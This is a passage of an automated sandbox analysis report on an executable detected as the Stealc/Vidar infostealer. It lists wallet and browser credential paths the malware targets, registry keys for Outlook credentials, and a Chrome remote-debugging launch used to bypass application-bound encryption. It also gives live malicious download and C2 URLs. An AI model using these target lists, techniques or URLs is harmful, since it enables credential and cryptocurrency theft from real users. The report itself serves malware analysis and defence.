Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2778649643.0000000000B17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2778649643.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247171846.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2778649643.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5608, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	39%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exeurlencodedy	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeF	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeS	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe2g	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe-3693405117-Ke	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe0	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dlle	100%	Avira URL Cloud	malware
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllA	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe2	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exex	0%	Avira URL Cloud	safe
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347U	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpY	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exex	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll3	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeT	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe008203001	0%	Avira URL Cloud	safe
